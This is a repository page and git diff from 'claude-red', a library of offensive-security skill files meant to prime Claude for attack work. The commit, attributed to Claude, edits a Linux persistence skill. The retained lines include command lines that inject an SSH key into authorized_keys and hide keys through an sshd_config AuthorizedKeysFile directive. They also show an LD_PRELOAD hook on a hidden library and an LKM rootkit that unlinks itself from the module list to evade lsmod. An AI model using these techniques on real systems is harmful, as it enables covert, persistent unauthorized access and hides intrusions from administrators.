Skip to content

claude-red is a curated library of offensive security skills designed for the Claude skills system. Each skill is a structured SKILL.md file that primes Claude with expert-level methodology for a specific attack surface — from SQLi to shellcode, EDR evasion to exploit development.

Deeply rewrite SSTI skill + persistence refinements

Claudec2d60cca1e5f
diff --git a/Skills/post-exploitation/offensive-persistence/SKILL.md b/Skills/post-exploitation/offensive-persistence/SKILL.md
index 462ebde..649db4c 100644
--- a/Skills/post-exploitation/offensive-persistence/SKILL.md
+++ b/Skills/post-exploitation/offensive-persistence/SKILL.md
@@ -393,15 +393,8 @@ systemctl enable system-health.timer
systemctl start system-health.timer
```
-User-level systemd (no root):
-
-```bash
-mkdir -p ~/.config/systemd/user/
-# Place .service and .timer files in the above directory
-systemctl --user daemon-reload
-systemctl --user enable system-health.timer
-systemctl --user start system-health.timer
-```
+For user-level systemd (no root), place unit files in `~/.config/systemd/user/`
+and use `systemctl --user enable/start`.
---
@@ -414,10 +407,7 @@ systemctl --user start system-health.timer
echo "ssh-rsa AAAA...your_key... operator@redteam" >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys
-# Inject into root (requires root)
-echo "ssh-rsa AAAA...your_key... operator@redteam" >> /root/.ssh/authorized_keys
-
-# Hide in a less obvious location using AuthorizedKeysFile directive
+# Hide in a custom location via sshd_config (requires root)
echo "AuthorizedKeysFile .ssh/authorized_keys /etc/ssh/legacy_keys/%u" >> /etc/ssh/sshd_config
mkdir -p /etc/ssh/legacy_keys/root/
echo "ssh-rsa AAAA...your_key..." > /etc/ssh/legacy_keys/root/authorized_keys
@@ -503,28 +493,9 @@ echo 'export LD_PRELOAD=/lib/x86_64-linux-gnu/.libsec.so' >> ~/.bashrc
### Kernel Module Rootkit
-```c
-// Minimal LKM rootkit stub -- hides files matching a prefix
-// Build with standard kernel module Makefile
-#include <linux/module.h>
-#include <linux/init.h>
-
-MODULE_LICENSE("GPL");
-
-static int __init rootkit_init(void) {
- // Hook VFS readdir to hide files, processes, network connections
- // Hide the module from lsmod:
- list_del_init(&__this_module.list);
- return 0;
-}
-
-static void __exit rootkit_exit(void) {
- // Cleanup hooks
-}
-
-module_init(rootkit_init);
-module_exit(rootkit_exit);
-```
+A loadable kernel module (LKM) rootkit hooks VFS readdir to hide files,
+processes, and network connections. It removes itself from the module list
+(`list_del_init(&__this_module.list)`) to evade lsmod detection.
```bash
# Load the kernel module